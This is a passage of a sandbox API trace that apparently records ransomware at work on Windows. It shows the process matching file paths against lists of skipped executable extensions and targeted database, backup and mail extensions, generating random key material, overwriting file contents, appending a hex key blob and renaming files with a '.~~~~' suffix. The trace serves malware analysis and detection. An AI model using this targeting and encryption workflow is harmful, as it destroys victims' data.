	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0083.024] lstrlenW (lpString=".sql") returned 4
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0083.024] lstrlenW (lpString=".MYD") returned 4
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0083.024] lstrlenW (lpString=".DBT") returned 4
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0083.024] lstrlenW (lpString=".ACCDB") returned 6
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0083.025] lstrlenW (lpString=".fdb") returned 4
	[0083.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0083.025] lstrlenW (lpString=".bak") returned 4
	[0083.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0083.025] lstrlenW (lpString=".myd") returned 4
	[0083.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0083.025] lstrlenW (lpString=".DTXS") returned 5
	[0083.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0083.025] lstrlenW (lpString=".ckp") returned 4
	[0083.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0083.025] lstrlenW (lpString=".dbt") returned 4
	[0083.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0083.025] lstrlenW (lpString=".db") returned 3
	[0083.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0083.025] lstrlenW (lpString=".TXT") returned 4
	[0083.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0083.025] lstrlenW (lpString=".MDF") returned 4
	[0083.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0083.025] lstrlenW (lpString=".bdb") returned 4
	[0083.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0083.025] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0083.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.026] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0083.027] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.027] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0083.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x381948
	[0083.027] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20301743987) returned 1
	[0083.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9b541150, dwHighDateTime=0x1d60e1e)) 
	[0083.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0083.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0083.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0083.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac858
	[0083.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac858 | out: hHeap=0x300000) returned 1
	[0083.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab030
	[0083.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c3c0
	[0083.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab030 | out: hHeap=0x300000) returned 1
	[0083.028] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0083.028] GetLastError () returned 0x0
	[0083.028] GetLastError () returned 0x0
	[0083.028] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0083.028] GetLastError () returned 0x0
	[0083.029] GetLastError () returned 0x0
	[0083.196] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffb2bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.197] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x4d44, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x4d44, lpOverlapped=0x0) returned 1
	[0083.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0083.197] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.197] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.197] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.197] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.197] CloseHandle (hObject=0x118) returned 1
	[0083.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.198] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.~~~~")) returned 1
	[0083.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0083.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0083.199] GetLastError () returned 0x0
	[0083.199] RtlWakeConditionVariable () returned 0x365f70
	[0083.199] GetCurrentThreadId () returned 0x9f4
	[0083.199] GetCurrentThreadId () returned 0x9f4
	[0083.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0083.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807958 | out: hHeap=0x300000) returned 1
	[0083.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1fe8 | out: hHeap=0x300000) returned 1
	[0083.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807958
	[0083.199] lstrlenW (lpString=".scr") returned 4
	[0083.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".scr") returned 0x0
	[0083.199] lstrlenW (lpString=".cmd") returned 4
	[0083.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".cmd") returned 0x0
	[0083.199] lstrlenW (lpString=".dll") returned 4
	[0083.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".dll") returned 0x0
	[0083.199] lstrlenW (lpString=".bat") returned 4
	[0083.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".bat") returned 0x0
	[0083.199] lstrlenW (lpString=".cpl") returned 4
	[0083.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".cpl") returned 0x0
	[0083.199] lstrlenW (lpString=".sys") returned 4
	[0083.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".sys") returned 0x0
	[0083.200] lstrlenW (lpString=".msc") returned 4
	[0083.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".msc") returned 0x0
	[0083.200] lstrlenW (lpString=".com") returned 4
	[0083.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".com") returned 0x0
	[0083.200] lstrlenW (lpString=".lnk") returned 4
	[0083.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".lnk") returned 0x0
	[0083.200] lstrlenW (lpString=".msp") returned 4
	[0083.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".msp") returned 0x0
	[0083.200] lstrlenW (lpString=".pif") returned 4
	[0083.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".pif") returned 0x0
	[0083.200] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.202] lstrlenW (lpString=".sqb") returned 4
	[0083.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".sqb") returned 0x0
	[0083.203] lstrlenW (lpString=".ost") returned 4
	[0083.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".ost") returned 0x0
	[0083.203] lstrlenW (lpString=".txt") returned 4
	[0083.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".txt") returned 0x0
	[0083.203] lstrlenW (lpString=".mdt") returned 4
	[0083.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".mdt") returned 0x0
	[0083.203] lstrlenW (lpString=".BDB") returned 4
	[0083.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".BDB") returned 0x0
	[0083.203] lstrlenW (lpString=".eql") returned 4
	[0083.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".eql") returned 0x0
	[0083.203] lstrlenW (lpString=".DBF") returned 4
	[0083.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".DBF") returned 0x0
	[0083.203] lstrlenW (lpString=".EQL") returned 4
	[0083.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".EQL") returned 0x0
	[0083.203] lstrlenW (lpString=".FDB") returned 4
	[0083.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".FDB") returned 0x0
	[0083.203] lstrlenW (lpString=".EDB") returned 4
	[0083.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".EDB") returned 0x0
	[0083.203] lstrlenW (lpString=".DACPAC") returned 7
	[0083.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".DACPAC") returned 0x0
	[0083.203] lstrlenW (lpString=".VHD") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".VHD") returned 0x0
	[0083.204] lstrlenW (lpString=".DBV") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".DBV") returned 0x0
	[0083.204] lstrlenW (lpString=".dacpac") returned 7
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".dacpac") returned 0x0
	[0083.204] lstrlenW (lpString=".sdf") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".sdf") returned 0x0
	[0083.204] lstrlenW (lpString=".accdb") returned 6
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".accdb") returned 0x0
	[0083.204] lstrlenW (lpString=".DBX") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".DBX") returned 0x0
	[0083.204] lstrlenW (lpString=".MDT") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".MDT") returned 0x0
	[0083.204] lstrlenW (lpString=".SQB") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".SQB") returned 0x0
	[0083.204] lstrlenW (lpString=".vhd") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".vhd") returned 0x0
	[0083.204] lstrlenW (lpString=".bac") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".bac") returned 0x0
	[0083.204] lstrlenW (lpString=".mdf") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".mdf") returned 0x0
	[0083.204] lstrlenW (lpString=".BAK") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".BAK") returned 0x0
	[0083.204] lstrlenW (lpString=".BAC") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".BAC") returned 0x0
	[0083.204] lstrlenW (lpString=".dbs") returned 4
	[0083.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".dbs") returned 0x0
	[0083.205] lstrlenW (lpString=".vhdx") returned 5
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".vhdx") returned 0x0
	[0083.205] lstrlenW (lpString=".NDF") returned 4
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".NDF") returned 0x0
	[0083.205] lstrlenW (lpString=".dat") returned 4
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".dat") returned 0x0
	[0083.205] lstrlenW (lpString=".DBS") returned 4
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".DBS") returned 0x0
	[0083.205] lstrlenW (lpString=".CKP") returned 4
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".CKP") returned 0x0
	[0083.205] lstrlenW (lpString=".edb") returned 4
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".edb") returned 0x0
	[0083.205] lstrlenW (lpString=".PST") returned 4
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".PST") returned 0x0
	[0083.205] lstrlenW (lpString=".dbf") returned 4
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".dbf") returned 0x0
	[0083.205] lstrlenW (lpString=".SQL") returned 4
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".SQL") returned 0x0
	[0083.205] lstrlenW (lpString=".pst") returned 4
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".pst") returned 0x0
	[0083.205] lstrlenW (lpString=".dbv") returned 4
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".dbv") returned 0x0
	[0083.205] lstrlenW (lpString=".SDF") returned 4
	[0083.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".SDF") returned 0x0
	[0083.205] lstrlenW (lpString=".dtxs") returned 5
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".dtxs") returned 0x0
	[0083.206] lstrlenW (lpString=".db3") returned 4
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".db3") returned 0x0
	[0083.206] lstrlenW (lpString=".OST") returned 4
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".OST") returned 0x0
	[0083.206] lstrlenW (lpString=".dbx") returned 4
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".dbx") returned 0x0
	[0083.206] lstrlenW (lpString=".DB3") returned 4
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".DB3") returned 0x0
	[0083.206] lstrlenW (lpString=".DAT") returned 4
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".DAT") returned 0x0
	[0083.206] lstrlenW (lpString=".VHDX") returned 5
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".VHDX") returned 0x0
	[0083.206] lstrlenW (lpString=".ndf") returned 4
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".ndf") returned 0x0
	[0083.206] lstrlenW (lpString=".DB") returned 3
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".DB") returned 0x0
	[0083.206] lstrlenW (lpString=".sql") returned 4
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".sql") returned 0x0
	[0083.206] lstrlenW (lpString=".MYD") returned 4
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".MYD") returned 0x0
	[0083.206] lstrlenW (lpString=".DBT") returned 4
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".DBT") returned 0x0
	[0083.206] lstrlenW (lpString=".ACCDB") returned 6
	[0083.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".ACCDB") returned 0x0
	[0083.206] lstrlenW (lpString=".fdb") returned 4
	[0083.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".fdb") returned 0x0
	[0083.207] lstrlenW (lpString=".bak") returned 4
	[0083.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".bak") returned 0x0
	[0083.207] lstrlenW (lpString=".myd") returned 4
	[0083.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".myd") returned 0x0
	[0083.207] lstrlenW (lpString=".DTXS") returned 5
	[0083.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".DTXS") returned 0x0
	[0083.207] lstrlenW (lpString=".ckp") returned 4
	[0083.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".ckp") returned 0x0
	[0083.207] lstrlenW (lpString=".dbt") returned 4
	[0083.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".dbt") returned 0x0
	[0083.207] lstrlenW (lpString=".db") returned 3
	[0083.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".db") returned 0x0
	[0083.207] lstrlenW (lpString=".TXT") returned 4
	[0083.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".TXT") returned 0x0
	[0083.207] lstrlenW (lpString=".MDF") returned 4
	[0083.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".MDF") returned 0x0
	[0083.207] lstrlenW (lpString=".bdb") returned 4
	[0083.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".bdb") returned 0x0
	[0083.207] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0083.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.207] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
